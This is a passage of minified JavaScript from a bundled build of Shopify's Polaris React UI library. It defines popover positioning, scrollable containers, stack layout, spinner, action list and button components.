Zn="Polaris-Popover",Kn="Polaris-Popover__PopoverOverlay",Gn="Polaris-Popover__PopoverOverlay--entering",$n="Polaris-Popover__PopoverOverlay--open",Yn="Polaris-Popover__PopoverOverlay--exiting",Qn="Polaris-Popover--measuring",Xn="Polaris-Popover--fullWidth",Jn="Polaris-Popover__Content",er="Polaris-Popover--positionedAbove",tr="Polaris-Popover__Wrapper",nr="Polaris-Popover__Content--fullHeight",rr="Polaris-Popover__Content--fluidContent",ar="Polaris-Popover__Pane",or="Polaris-Popover__Pane--fixed",ir="Polaris-Popover__Section",lr="Polaris-Popover__FocusTracker",sr="Polaris-Popover__PopoverOverlay--hideOnPrint",ur=Z?r.useEffect:r.useLayoutEffect;function cr(e){var t=e.keyCode,n=e.handler,a=e.keyEvent,o=void 0===a?"keyup":a,i=(0,r.useRef)({handler:n,keyCode:t});ur((function(){i.current={handler:n,keyCode:t}}),[n,t]);var l=(0,r.useCallback)((function(e){var t=i.current,n=t.handler,r=t.keyCode;e.keyCode===r&&n(e)}),[]);return(0,r.useEffect)((function(){return document.addEventListener(o,l),function(){document.removeEventListener(o,l)}}),[o,l]),null}function dr(e,t){var n=e.center;return n.yt.top+t.height}function fr(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:pr(),n=Math.max(e.top,0),r=Math.max(e.left,0),a=Math.min(e.top+e.height,t.height),o=Math.min(e.left+e.width,t.width);return new H({top:n,left:r,height:a-n,width:o-r})}function pr(){return new H({top:window.scrollY,left:window.scrollX,height:window.innerHeight,width:document.body.clientWidth})}var hr="Polaris-PositionedOverlay",mr="Polaris-PositionedOverlay--fixed",vr="Polaris-PositionedOverlay--preventInteraction",gr=(0,r.createContext)(void 0),br="Polaris-Scrollable",yr="Polaris-Scrollable--horizontal",wr="Polaris-Scrollable--vertical",xr="Polaris-Scrollable--verticalHasScrolling",Er="Polaris-Scrollable--hasTopShadow",Sr="Polaris-Scrollable--hasBottomShadow";var kr=["children","className","horizontal","vertical","shadow","hint","focusable","onScrolledToBottom"],_r=100,Cr=["scroll","touchmove","wheel"],Pr=function(){try{return window.matchMedia("(prefers-reduced-motion: reduce)").matches}catch(e){return!1}}(),Nr=function(e){h(n,e);var t=w(n);function n(){var e;(0,d.Z)(this,n);for(var r=arguments.length,a=new Array(r),o=0;o=s)),c=Boolean(a&&i>0&&n>0),d=s>l;d&&s-i<=l+2&&o&&o(),e.setState({topShadow:c,bottomShadow:u,scrollPosition:i,canScroll:d})}},e.scrollHint=function(){var t=b(e).scrollArea;if(null!=t){var n=t.clientHeight,r=t.scrollHeight;if(!(Pr||e.state.scrollPosition>0||r<=n)){var a=r-n;e.toggleLock(),e.setState({scrollPosition:a>_r?_r:a},(function(){window.requestAnimationFrame(e.scrollStep)}))}}},e.scrollStep=function(){e.setState((function(e){var t=e.scrollPosition,n=.2*t;return{scrollPosition:n<.2?0:t-n}}),(function(){e.state.scrollPosition>0?window.requestAnimationFrame(e.scrollStep):e.toggleLock(!1)}))},e.scrollToPosition=function(t){e.setState({scrollPosition:t})},e}return(0,f.Z)(n,[{key:"componentDidMount",value:function(){var e=this;null!=this.scrollArea&&(this.stickyManager.setContainer(this.scrollArea),this.scrollArea.addEventListener("scroll",(function(){window.requestAnimationFrame(e.handleScroll)})),window.addEventListener("resize",this.handleResize),window.requestAnimationFrame((function(){e.handleScroll(),e.props.hint&&e.scrollHint()})))}},{key:"componentWillUnmount",value:function(){null!=this.scrollArea&&(this.scrollArea.removeEventListener("scroll",this.handleScroll),window.removeEventListener("resize",this.handleResize),this.stickyManager.removeScrollListener())}},{key:"componentDidUpdate",value:function(){var e=this.state.scrollPosition;e&&this.scrollArea&&e>0&&(this.scrollArea.scrollTop=e)}},{key:"render",value:function(){var e=this.state,t=e.topShadow,n=e.bottomShadow,a=e.canScroll,o=this.props,i=o.children,l=o.className,s=o.horizontal,c=o.vertical,d=void 0===c||c,f=(o.shadow,o.hint,o.focusable),p=(o.onScrolledToBottom,u(o,kr)),h=Xe(l,br,d&&wr,s&&yr,t&&Er,n&&Sr,d&&a&&xr);return r.createElement(gr.Provider,{value:this.scrollToPosition},r.createElement(pe.Provider,{value:this.stickyManager},r.createElement("div",Object.assign({className:h},_,p,{ref:this.setScrollArea,tabIndex:f?0:void 0}),i)))}},{key:"toggleLock",value:function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0],t=this.scrollArea;null!=t&&Cr.forEach((function(n){e?t.addEventListener(n,Tr):t.removeEventListener(n,Tr)}))}}],[{key:"forNode",value:function(e){var t=e.closest(C);return t instanceof HTMLElement?t:document}}]),n}(r.Component);function Tr(e){e.preventDefault()}Nr.ScrollTo=function(){var e=(0,r.useRef)(null),t=(0,r.useContext)(gr);(0,r.useEffect)((function(){t&&e.current&&t(e.current.offsetTop)}),[t]);var n=qe("ScrollTo");return r.createElement("a",{id:n,ref:e})};var Ar,Mr,Lr={childList:!0,subtree:!0,characterData:!0},Or=function(e){h(n,e);var t=w(n);function n(e){var r;return(0,d.Z)(this,n),(r=t.call(this,e)).state={measuring:!0,activatorRect:z(r.props.activator),right:void 0,left:void 0,top:0,height:0,width:null,positioning:"below",zIndex:null,outsideScrollableContainer:!1,lockPosition:!1},r.overlay=null,r.scrollableContainer=null,r.observer=void 0,r.overlayDetails=function(){var e=r.state,t=e.measuring,n=e.left,a=e.right,o=e.positioning;return{measuring:t,left:n,right:a,desiredHeight:e.height,positioning:o,activatorRect:e.activatorRect}},r.setOverlay=function(e){r.overlay=e},r.handleMeasurement=function(){var e=r.state,t=e.lockPosition,n=e.top;r.observer.disconnect(),r.setState((function(e){var t=e.left,n=e.top;return{left:t,right:e.right,top:n,height:0,positioning:"below",measuring:!0}}),(function(){if(null!=r.overlay&&null!=r.scrollableContainer){var e=r.props,a=e.activator,o=e.preferredPosition,i=void 0===o?"below":o,s=e.preferredAlignment,u=void 0===s?"center":s,c=e.onScrollOut,d=e.fullWidth,f=e.fixed,p=e.preferInputActivator,h=z((void 0===p||p)&&a.querySelector("input")||a),m=z(r.overlay),v=r.scrollableContainer===document?document.body:r.scrollableContainer,g=z(v),b=d?new H(l(l({},m),{},{width:h.width})):m;v===document.body&&(g.height=document.body.scrollHeight);var y=0,w=v.querySelector("".concat(M));w&&(y=w.clientHeight);var x=r.overlay.firstElementChild&&r.overlay.firstChild instanceof HTMLElement?function(e){var t=window.getComputedStyle(e);return{activator:parseFloat(t.marginTop||"0"),container:parseFloat(t.marginBottom||"0"),horizontal:parseFloat(t.marginLeft||"0")}}(r.overlay.firstElementChild):{activator:0,container:0,horizontal:0},E=pr(),S=function(e){var t=e.closest(N.selector)||document.body,n=t===document.body?"auto":parseInt(window.getComputedStyle(t).zIndex||"0",10);return"auto"===n||isNaN(n)?null:n}(a),k=null==S?S:S+1,_=function(e,t,n,r,a,o,i){var l=arguments.length>7&&void 0!==arguments[7]?arguments[7]:0,s=e.top,u=s+e.height,c=e.top-l,d=a.height-e.top-e.height,f=t.height,p=n.activator+n.container,h=n.container,m=e.top-Math.max(r.top,0),v=a.top+Math.min(a.height,r.top+r.height)-(e.top+e.height),g=m>=h,b=v>=h,y=Math.min(d,f),w=Math.min(c,f),x=i?0:a.top,E={height:w-p,top:s+x-w,positioning:"above"},S={height:y-p,top:u+x,positioning:"below"};return"above"===o?(g||m>=v&&!b)&&(c>f||c>d)?E:S:"below"===o?(b||v>=m&&!g)&&(d>f||d>c)?S:E:g&&b?c>d?E:S:m>h?E:S}(h,b,x,g,E,i,f,y),C=function(e,t,n,r,a){var o=n.width-t.width;if("left"===a)return Math.min(o,Math.max(0,e.left-r.horizontal));if("right"===a){var i=n.width-(e.left+e.width);return Math.min(o,Math.max(0,i-r.horizontal))}return Math.min(o,Math.max(0,e.center.x-t.width/2))}(h,b,E,x,u);r.setState({measuring:!1,activatorRect:z(a),left:"right"!==u?C:void 0,right:"right"===u?C:void 0,top:t?n:_.top,lockPosition:Boolean(f),height:_.height||0,width:d?b.width:null,positioning:_.positioning,outsideScrollableContainer:null!=c&&dr(h,fr(g)),zIndex:k},(function(){r.overlay&&(r.observer.observe(r.overlay,Lr),r.observer.observe(a,Lr))}))}}))},r.observer=new MutationObserver(r.handleMeasurement),r}return(0,f.Z)(n,[{key:"componentDidMount",value:function(){this.scrollableContainer=Nr.forNode(this.props.activator),this.scrollableContainer&&!this.props.fixed&&this.scrollableContainer.addEventListener("scroll",this.handleMeasurement),this.handleMeasurement()}},{key:"componentWillUnmount",value:function(){this.observer.disconnect(),this.scrollableContainer&&!this.props.fixed&&this.scrollableContainer.removeEventListener("scroll",this.handleMeasurement)}},{key:"componentDidUpdate",value:function(){var e=this.state,t=e.outsideScrollableContainer,n=e.top,r=this.props,a=r.onScrollOut;r.active&&null!=a&&0!==n&&t&&a()}},{key:"render",value:function(){var e=this.state,t=e.left,n=e.right,a=e.top,o=e.zIndex,i=e.width,l=this.props,s=l.render,u=l.fixed,c=l.preventInteraction,d=l.classNames,f=l.zIndexOverride,p={top:null==a||isNaN(a)?void 0:a,left:null==t||isNaN(t)?void 0:t,right:null==n||isNaN(n)?void 0:n,width:null==i||isNaN(i)?void 0:i,zIndex:f||o||void 0},h=Xe(hr,u&&mr,c&&vr,d);return r.createElement("div",{className:h,style:p,ref:this.setOverlay},r.createElement(Te,{event:"resize",handler:this.handleMeasurement}),s(this.overlayDetails()))}},{key:"forceUpdatePosition",value:function(){requestAnimationFrame(this.handleMeasurement)}}]),n}(r.PureComponent);function Fr(e){var t=e.children;return r.createElement("div",{className:ir},t)}function Ir(e){var t=e.fixed,n=e.sectioned,a=e.children,o=e.onScrolledToBottom,i=Xe(ar,t&&or),l=n?Dn(a,Fr,{}):a;return t?r.createElement("div",{className:i},l):r.createElement(Nr,{shadow:!0,className:i,onScrolledToBottom:o},l)}!function(e){e[e.Click=0]="Click",e[e.EscapeKeypress=1]="EscapeKeypress",e[e.FocusOut=2]="FocusOut",e[e.ScrollOut=3]="ScrollOut"}(Ar||(Ar={})),function(e){e.Entering="entering",e.Entered="entered",e.Exiting="exiting",e.Exited="exited"}(Mr||(Mr={}));var jr=function(e){h(n,e);var t=w(n);function n(e){var a;return(0,d.Z)(this,n),(a=t.call(this,e)).state={transitionStatus:a.props.active?Mr.Entering:Mr.Exited},a.contentNode=(0,r.createRef)(),a.enteringTimer=void 0,a.exitingTimer=void 0,a.overlayRef=void 0,a.renderPopover=function(e){var t=e.measuring,n=e.desiredHeight,o=e.positioning,i=a.props,l=i.id,s=i.children,u=i.sectioned,c=i.fullWidth,d=i.fullHeight,f=i.fluidContent,p=i.hideOnPrint,h=i.colorScheme,m=i.autofocusTarget,v=Xe(Zn,"above"===o&&er,c&&Xn,t&&Qn,p&&sr),g=t?void 0:{height:n},b=Xe(Jn,d&&nr,f&&rr),y=r.createElement("div",{id:l,tabIndex:"none"===m?void 0:-1,className:b,style:g,ref:a.contentNode},function(e,t){var n=r.Children.toArray(e);if(Un(n[0],Ir))return n;return Dn(n,Ir,t)}(s,{sectioned:u}));return r.createElement("div",Object.assign({className:v},P.props),r.createElement(Te,{event:"click",handler:a.handleClick}),r.createElement(Te,{event:"touchstart",handler:a.handleClick}),r.createElement(cr,{keyCode:Hn.Escape,handler:a.handleEscape}),r.createElement("div",{className:lr,tabIndex:0,onFocus:a.handleFocusFirstItem}),r.createElement(_e,{alwaysRenderCustomProperties:!0,theme:{colorScheme:h}},r.createElement("div",{className:tr},y)),r.createElement("div",{className:lr,tabIndex:0,onFocus:a.handleFocusLastItem}))},a.handleClick=function(e){var t=e.target,n=b(a),r=n.contentNode,o=n.props,i=o.activator,l=o.onClose,s=null!=r.current&&Rr(r.current,t),u=Rr(i,t);s||u||a.state.transitionStatus!==Mr.Entered||l(Ar.Click)},a.handleScrollOut=function(){a.props.onClose(Ar.ScrollOut)},a.handleEscape=function(){a.props.onClose(Ar.EscapeKeypress)},a.handleFocusFirstItem=function(){a.props.onClose(Ar.FocusOut)},a.handleFocusLastItem=function(){a.props.onClose(Ar.FocusOut)},a.overlayRef=(0,r.createRef)(),a}return(0,f.Z)(n,[{key:"forceUpdatePosition",value:function(){var e;null===(e=this.overlayRef.current)||void 0===e||e.forceUpdatePosition()}},{key:"changeTransitionStatus",value:function(e,t){this.setState({transitionStatus:e},t),this.contentNode.current&&this.contentNode.current.getBoundingClientRect()}},{key:"componentDidMount",value:function(){this.props.active&&(this.focusContent(),this.changeTransitionStatus(Mr.Entered))}},{key:"componentDidUpdate",value:function(e){var t=this;this.props.active&&!e.active&&(this.focusContent(),this.changeTransitionStatus(Mr.Entering,(function(){t.clearTransitionTimeout(),t.enteringTimer=window.setTimeout((function(){t.setState({transitionStatus:Mr.Entered})}),S)}))),!this.props.active&&e.active&&this.changeTransitionStatus(Mr.Exiting,(function(){t.clearTransitionTimeout(),t.exitingTimer=window.setTimeout((function(){t.setState({transitionStatus:Mr.Exited})}),S)}))}},{key:"componentWillUnmount",value:function(){this.clearTransitionTimeout()}},{key:"render",value:function(){var e=this.props,t=e.active,n=e.activator,a=e.fullWidth,o=e.preferredPosition,i=void 0===o?"below":o,l=e.preferredAlignment,s=void 0===l?"center":l,u=e.preferInputActivator,c=void 0===u||u,d=e.fixed,f=e.zIndexOverride,p=this.state.transitionStatus;if(p===Mr.Exited&&!t)return null;var h=Xe(Kn,p===Mr.Entering&&Gn,p===Mr.Entered&&$n,p===Mr.Exiting&&Yn);return r.createElement(Or,{ref:this.overlayRef,fullWidth:a,active:t,activator:n,preferInputActivator:c,preferredPosition:i,preferredAlignment:s,render:this.renderPopover.bind(this),fixed:d,onScrollOut:this.handleScrollOut,classNames:h,zIndexOverride:f})}},{key:"clearTransitionTimeout",value:function(){this.enteringTimer&&window.clearTimeout(this.enteringTimer),this.exitingTimer&&window.clearTimeout(this.exitingTimer)}},{key:"focusContent",value:function(){var e=this,t=this.props.autofocusTarget,n=void 0===t?"container":t;"none"!==n&&null!=this.contentNode&&requestAnimationFrame((function(){if(null!=e.contentNode.current){var t=Nn(e.contentNode.current);t&&"first-node"===n?t.focus({preventScroll:!1}):e.contentNode.current.focus({preventScroll:!1})}}))}}]),n}(r.PureComponent);function Rr(e,t){if(e===t)return!0;for(var n=t.parentNode;null!=n;){if(n===e)return!0;n=n.parentNode}return!1}var Br=["activatorWrapper","children","onClose","activator","preventFocusOnClose","active","fixed","ariaHaspopup","preferInputActivator","colorScheme","zIndexOverride"],Dr=(0,r.forwardRef)((function(e,t){var n=e.activatorWrapper,a=void 0===n?"div":n,o=e.children,i=e.onClose,l=e.activator,s=e.preventFocusOnClose,c=e.active,d=e.fixed,f=e.ariaHaspopup,p=e.preferInputActivator,h=void 0===p||p,m=e.colorScheme,v=e.zIndexOverride,g=u(e,Br),b=ne((0,r.useState)(),2),y=b[0],w=b[1],x=(0,r.useRef)(null),E=(0,r.useRef)(null),S=a,k=qe("popover");function _(){var e;null===(e=x.current)||void 0===e||e.forceUpdatePosition()}(0,r.useImperativeHandle)(t,(function(){return{forceUpdatePosition:_}}));var C=(0,r.useCallback)((function(){if(null!=E.current){var e=Tn(E.current)||E.current,t="disabled"in e&&Boolean(e.disabled);!function(e,t){var n=t.id,r=t.active,a=void 0!==r&&r,o=t.ariaHaspopup,i=t.activatorDisabled;void 0!==i&&i||(e.tabIndex=e.tabIndex||0),e.setAttribute("aria-controls",n),e.setAttribute("aria-owns",n),e.setAttribute("aria-expanded",String(a)),null!=o&&e.setAttribute("aria-haspopup",String(o))}(e,{id:k,active:c,ariaHaspopup:f,activatorDisabled:t})}}),[k,c,f]);(0,r.useEffect)((function(){(!y&&E.current||y&&E.current&&!E.current.contains(y))&&w(E.current.firstElementChild),C()}),[y,C]),(0,r.useEffect)((function(){y&&E.current&&w(E.current.firstElementChild),C()}),[y,C]);var P=y?r.createElement(Rn,{idPrefix:"popover"},r.createElement(jr,Object.assign({ref:x,id:k,activator:y,preferInputActivator:h,onClose:function(e){if(i(e),null!=E.current&&!s&&(e===Ar.FocusOut||e===Ar.EscapeKeypress)&&y){var t=Tn(y)||Tn(E.current)||E.current;Mn(t,Hr)||t.focus()}},active:c,fixed:d,colorScheme:m,zIndexOverride:v},g),o)):null;return r.createElement(S,{ref:E},r.Children.only(l),P)}));function Hr(e){for(var t=e.parentElement;t;){if(t.matches(F))return!1;t=t.parentElement}return!0}var zr=Object.assign(Dr,{Pane:Ir,Section:Fr}),Ur={Stack:"Polaris-Stack",Item:"Polaris-Stack__Item",noWrap:"Polaris-Stack--noWrap",spacingNone:"Polaris-Stack--spacingNone",spacingExtraTight:"Polaris-Stack--spacingExtraTight",spacingTight:"Polaris-Stack--spacingTight",spacingBaseTight:"Polaris-Stack--spacingBaseTight",spacingLoose:"Polaris-Stack--spacingLoose",spacingExtraLoose:"Polaris-Stack--spacingExtraLoose",distributionLeading:"Polaris-Stack--distributionLeading",distributionTrailing:"Polaris-Stack--distributionTrailing",distributionCenter:"Polaris-Stack--distributionCenter",distributionEqualSpacing:"Polaris-Stack--distributionEqualSpacing",distributionFill:"Polaris-Stack--distributionFill",distributionFillEvenly:"Polaris-Stack--distributionFillEvenly",alignmentLeading:"Polaris-Stack--alignmentLeading",alignmentTrailing:"Polaris-Stack--alignmentTrailing",alignmentCenter:"Polaris-Stack--alignmentCenter",alignmentFill:"Polaris-Stack--alignmentFill",alignmentBaseline:"Polaris-Stack--alignmentBaseline",vertical:"Polaris-Stack--vertical","Item-fill":"Polaris-Stack__Item--fill"};function Wr(e){var t=e.children,n=e.fill,a=Xe(Ur.Item,n&&Ur["Item-fill"]);return r.createElement("div",{className:a},t)}var Vr=(0,r.memo)((function(e){var t=e.children,n=e.vertical,a=e.spacing,o=e.distribution,i=e.alignment,l=e.wrap,s=Xe(Ur.Stack,n&&Ur.vertical,a&&Ur[Je("spacing",a)],o&&Ur[Je("distribution",o)],i&&Ur[Je("alignment",i)],!1===l&&Ur.noWrap),u=Wn(t).map((function(e,t){return Dn(e,Wr,{key:t})}));return r.createElement("div",{className:s},u)}));Vr.Item=Wr;var qr={TextContainer:"Polaris-TextContainer",spacingTight:"Polaris-TextContainer--spacingTight",spacingLoose:"Polaris-TextContainer--spacingLoose"};function Zr(e){var t=e.spacing,n=e.children,a=Xe(qr.TextContainer,t&&qr[Je("spacing",t)]);return r.createElement("div",{className:a},n)}var Kr,Gr="Polaris-Heading";function $r(e){var t=e.element,n=void 0===t?"h2":t,a=e.children,o=e.id;return r.createElement(n,{className:Gr,id:o},a)}var Yr,Qr,Xr=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Kr||(Kr=r.createElement("path",{d:"M13.098 8H6.902c-.751 0-1.172.754-.708 1.268L9.292 12.7c.36.399 1.055.399 1.416 0l3.098-3.433C14.27 8.754 13.849 8 13.098 8z"})))},Jr=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Yr||(Yr=r.createElement("path",{d:"M7.676 9h4.648c.563 0 .879-.603.53-1.014L10.531 5.24a.708.708 0 0 0-1.062 0L7.145 7.986C6.798 8.397 7.113 9 7.676 9zm4.648 2H7.676c-.563 0-.878.603-.53 1.014l2.323 2.746c.27.32.792.32 1.062 0l2.323-2.746c.349-.411.033-1.014-.53-1.014z"})))},ea=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Qr||(Qr=r.createElement("path",{d:"M6.902 12h6.196c.751 0 1.172-.754.708-1.268L10.708 7.3c-.36-.399-1.055-.399-1.416 0l-3.098 3.433C5.73 11.246 6.151 12 6.902 12z"})))},ta={Button:"Polaris-Button",pressed:"Polaris-Button--pressed",disabled:"Polaris-Button--disabled",connectedDisclosure:"Polaris-Button--connectedDisclosure",Content:"Polaris-Button__Content",plain:"Polaris-Button--plain",textAlignLeft:"Polaris-Button--textAlignLeft",textAlignCenter:"Polaris-Button--textAlignCenter",textAlignRight:"Polaris-Button--textAlignRight",Icon:"Polaris-Button__Icon",fullWidth:"Polaris-Button--fullWidth",hidden:"Polaris-Button--hidden",Spinner:"Polaris-Button__Spinner",primary:"Polaris-Button--primary",destructive:"Polaris-Button--destructive",outline:"Polaris-Button--outline",loading:"Polaris-Button--loading",removeUnderline:"Polaris-Button--removeUnderline",iconOnly:"Polaris-Button--iconOnly",sizeSlim:"Polaris-Button--sizeSlim",sizeLarge:"Polaris-Button--sizeLarge",monochrome:"Polaris-Button--monochrome",Text:"Polaris-Button__Text",ConnectedDisclosureWrapper:"Polaris-Button__ConnectedDisclosureWrapper",ConnectedDisclosure:"Polaris-Button__ConnectedDisclosure"};function na(){var e=ne((0,r.useState)(!1),2),t=e[0],n=e[1];return(0,r.useEffect)((function(){n(!0)}),[]),t}var ra={Spinner:"Polaris-Spinner",loading:"Polaris-Spinner--loading",sizeSmall:"Polaris-Spinner--sizeSmall",sizeLarge:"Polaris-Spinner--sizeLarge"};function aa(e){var t=e.size,n=void 0===t?"large":t,a=e.accessibilityLabel,o=e.hasFocusableParent,i=na(),s=Xe(ra.Spinner,n&&ra[Je("size",n)]),u="large"===n?r.createElement("svg",{viewBox:"0 0 44 44",xmlns:"http://www.w3.org/2000/svg"},r.createElement("path",{d:"M15.542 1.487A21.507 21.507 0 00.5 22c0 11.874 9.626 21.5 21.5 21.5 9.847 0 18.364-6.675 20.809-16.072a1.5 1.5 0 00-2.904-.756C37.803 34.755 30.473 40.5 22 40.5 11.783 40.5 3.5 32.217 3.5 22c0-8.137 5.3-15.247 12.942-17.65a1.5 1.5 0 10-.9-2.863z"})):r.createElement("svg",{viewBox:"0 0 20 20",xmlns:"http://www.w3.org/2000/svg"},r.createElement("path",{d:"M7.229 1.173a9.25 9.25 0 1011.655 11.412 1.25 1.25 0 10-2.4-.698 6.75 6.75 0 11-8.506-8.329 1.25 1.25 0 10-.75-2.385z"})),c=l({},!o&&{role:"status"}),d=(i||!o)&&r.createElement(Dt,null,a);return r.createElement(r.Fragment,null,r.createElement("span",{className:s},u),r.createElement("span",c,d))}var oa,ia="Polaris-ActionList",la="Polaris-ActionList__Section--withoutTitle",sa="Polaris-ActionList__Actions",ua="Polaris-ActionList__Section",ca="Polaris-ActionList__Title",da="Polaris-ActionList--firstSectionWithTitle",fa="Polaris-ActionList__Item",pa="Polaris-ActionList--active",ha="Polaris-ActionList--destructive",ma="Polaris-ActionList--disabled",va="Polaris-ActionList__Prefix",ga="Polaris-ActionList__Suffix",ba="Polaris-ActionList__Content",ya="Polaris-ActionList__ContentBlock",wa="Polaris-ActionList__ContentBlockInner",xa="Polaris-ActionList__Text",Ea={variationPositive:"Polaris-TextStyle--variationPositive",variationNegative:"Polaris-TextStyle--variationNegative",variationWarning:"Polaris-TextStyle--variationWarning",variationCode:"Polaris-TextStyle--variationCode",variationStrong:"Polaris-TextStyle--variationStrong",variationSubdued:"Polaris-TextStyle--variationSubdued"};function Sa(e){var t=e.variation,n=e.children,a=Xe(t&&Ea[Je("variation",t)],t===oa.Code&&Ea.code),o=function(e){return e===oa.Code?"code":"span"}(t);return r.createElement(o,{className:a},n)}function ka(e){var t=e.id,n=e.badge,a=e.content,o=e.accessibilityLabel,i=e.helpText,l=e.url,s=e.onAction,u=e.icon,c=e.image,d=e.prefix,f=e.suffix,p=e.disabled,h=e.external,m=e.destructive,v=e.ellipsis,g=e.active,b=e.role,y=Xe(fa,p&&ma,m&&ha,g&&pa),w=null;d?w=r.createElement("span",{className:va},d):u?w=r.createElement("span",{className:va},r.createElement(zt,{source:u})):c&&(w=r.createElement("span",{role:"presentation",className:va,style:{backgroundImage:"url(".concat(c)}}));var x=v&&a?"".concat(a,"\u2026"):a,E=i?r.createElement("span",{className:ya},r.createElement("span",{className:wa},x),r.createElement(Sa,{variation:"subdued"},i)):x,S=n&&r.createElement("span",{className:ga},r.createElement(En,{status:n.status},n.content)),k=f&&r.createElement("span",{className:ga},f),_=r.createElement("span",{className:xa},E),C=r.createElement("span",{className:ba},w,_,S,k),P=g?r.createElement(Nr.ScrollTo,null):null,N=l?r.createElement(sn,{id:t,url:p?null:l,className:y,external:h,"aria-label":o,onClick:p?null:s,role:b},C):r.createElement("button",{id:t,type:"button",className:y,disabled:p,"aria-label":o,onClick:s,onMouseUp:Pn,role:b},C);return r.createElement("li",{role:"menuitem"===b?"presentation":void 0},P,N)}!function(e){e.Positive="positive",e.Negative="negative",e.Warning="warning",e.Strong="strong",e.Subdued="subdued",e.Code="code"}(oa||(oa={}));var _a=["content","helpText","onAction"];function Ca(e){var t,n=e.section,a=e.hasMultipleSections,o=e.actionRole,i=e.firstSection,l=e.onActionAnyItem,s=n.items.map((function(e,t){var n,a=e.content,i=e.helpText,s=e.onAction,c=u(e,_a);return r.createElement(ka,Object.assign({key:"".concat(a,"-").concat(t),content:a,helpText:i,role:o,onAction:(n=s,function(){n&&n(),l&&l()})},c))})),c=n.title?void 0:la,d=Xe(ca,i&&da),f=n.title?r.createElement("p",{className:d},n.title):null;switch(o){case"option":t="presentation";break;case"menuitem":t=a?"presentation":"menu";break;default:t=void 0}var p=r.createElement("div",{className:c},f,r.createElement("ul",{className:sa,role:t,tabIndex:a?void 0:-1},s));return a?r.createElement("li",{className:ua,role:"presentation"},p):p}function Pa(e){var t=e.items,n=e.sections,a=void 0===n?[]:n,o=e.actionRole,i=e.onActionAnyItem,l=[],s=(0,r.useRef)(null);t?l=[{items:t}].concat(te(a)):a&&(l=a);var u=Xe(ia),c=l.length>1,d=c?"ul":"div",f=c&&"menuitem"===o?"menu":void 0,p=c&&"menuitem"===o?-1:void 0,h=l.map((function(e,t){return e.items.length>0?r.createElement(Ca,{key:e.title||t,firstSection:0===t,section:e,hasMultipleSections:c,actionRole:o,onActionAnyItem:i}):null})),m="menuitem"===o?r.createElement(r.Fragment,null,r.createElement(cr,{keyEvent:"keydown",keyCode:Hn.DownArrow,handler:function(e){e.preventDefault(),s.current&&e.target&&s.current.contains(e.target)&&function(e,t){var n=Fn(e),r=In(n,t);-1===r?n[0].focus():n[(r+1)%n.length].focus()}(s.current,e.target)}}),r.createElement(cr,{keyEvent:"keydown",keyCode:Hn.UpArrow,handler:function(e){e.preventDefault(),s.current&&e.target&&s.current.contains(e.target)&&function(e,t){var n=Fn(e),r=In(n,t);-1===r?n[0].focus():n[(r-1+n.length)%n.length].focus()}(s.current,e.target)}})):null;return r.createElement(d,{ref:s,className:u,role:f,tabIndex:p},m,h)}var Na=["id","children","className","url","external","download","submit","disabled","loading","pressed","accessibilityLabel","role","ariaControls","ariaExpanded","ariaDescribedBy","onClick","onFocus","onBlur","onKeyDown","onKeyPress","onKeyUp","onMouseEnter","onTouchStart"];function Ta(e){var t=e.id,n=e.children,a=e.className,o=e.url,i=e.external,s=e.download,c=e.submit,d=e.disabled,f=e.loading,p=e.pressed,h=e.accessibilityLabel,m=e.role,v=e.ariaControls,g=e.ariaExpanded,b=e.ariaDescribedBy,y=e.onClick,w=e.onFocus,x=e.onBlur,E=e.onKeyDown,S=e.onKeyPress,k=e.onKeyUp,_=e.onMouseEnter,C=e.onTouchStart,P=u(e,Na),N={id:t,className:a,"aria-label":h},T=l(l({},N),{},{role:m,onClick:y,onFocus:w,onBlur:x,onMouseUp:Pn,onMouseEnter:_,onTouchStart:C});return o?d?r.createElement("a",N,n):r.createElement(sn,Object.assign({},T,{url:o,external:i,download:s},P),n):r.createElement("button",Object.assign({},T,{type:c?"submit":"button",disabled:d,"aria-busy":!!f||void 0,"aria-controls":v,"aria-expanded":g,"aria-describedby":b,"aria-pressed":p,onKeyDown:E,onKeyUp:k,onKeyPress:S},P),n)}var Aa="medium";function Ma(e){var t,n,a=e.id,o=e.children,i=e.url,l=e.disabled,s=e.external,u=e.download,c=e.submit,d=e.loading,f=e.pressed,p=e.accessibilityLabel,h=e.role,m=e.ariaControls,v=e.ariaExpanded,g=e.ariaDescribedBy,b=e.onClick,y=e.onFocus,w=e.onBlur,x=e.onKeyDown,E=e.onKeyPress,S=e.onKeyUp,k=e.onMouseEnter,_=e.onTouchStart,C=e.icon,P=e.primary,N=e.outline,T=e.destructive,A=e.disclosure,M=e.plain,L=e.monochrome,O=e.removeUnderline,F=e.size,I=void 0===F?Aa:F,j=e.textAlign,R=e.fullWidth,B=e.connectedDisclosure,D=jt(),H=l||d,z=Xe(ta.Button,P&&ta.primary,N&&ta.outline,T&&ta.destructive,H&&ta.disabled,d&&ta.loading,M&&ta.plain,f&&!l&&!i&&ta.pressed,L&&ta.monochrome,I&&I!==Aa&&ta[Je("size",I)],j&&ta[Je("textAlign",j)],R&&ta.fullWidth,C&&null==o&&ta.iconOnly,B&&ta.connectedDisclosure,O&&ta.removeUnderline),U=A?r.createElement("span",{className:ta.Icon},r.createElement("div",{className:Xe(ta.DisclosureIcon,d&&ta.hidden)},r.createElement(zt,{source:d?"placeholder":La(A)}))):null,W="string"===typeof(t=C)||"object"===typeof t&&t.body||"function"===typeof t?r.createElement(zt,{source:d?"placeholder":C}):C,V=W?r.createElement("span",{className:Xe(ta.Icon,d&&ta.hidden)},W):null,q=o?r.createElement("span",{className:Xe(ta.Text,O&&ta.removeUnderline),key:l?"text-disabled":"text"},o):null,Z=d?r.createElement("span",{className:ta.Spinner},r.createElement(aa,{size:"small",accessibilityLabel:D.translate("Polaris.Button.spinnerAccessibilityLabel")})):null,K=ne((0,r.useState)(!1),2),G=K[0],$=K[1],Y=(0,r.useCallback)((function(){$((function(e){return!e}))}),[]);if(B){var Q=Xe(ta.Button,P&&ta.primary,N&&ta.outline,I&&I!==Aa&&ta[Je("size",I)],j&&ta[Je("textAlign",j)],T&&ta.destructive,B.disabled&&ta.disabled,ta.iconOnly,ta.ConnectedDisclosure,L&&ta.monochrome),X=D.translate("Polaris.Button.connectedDisclosureAccessibilityLabel"),J=B.disabled,ee=B.accessibilityLabel,te=void 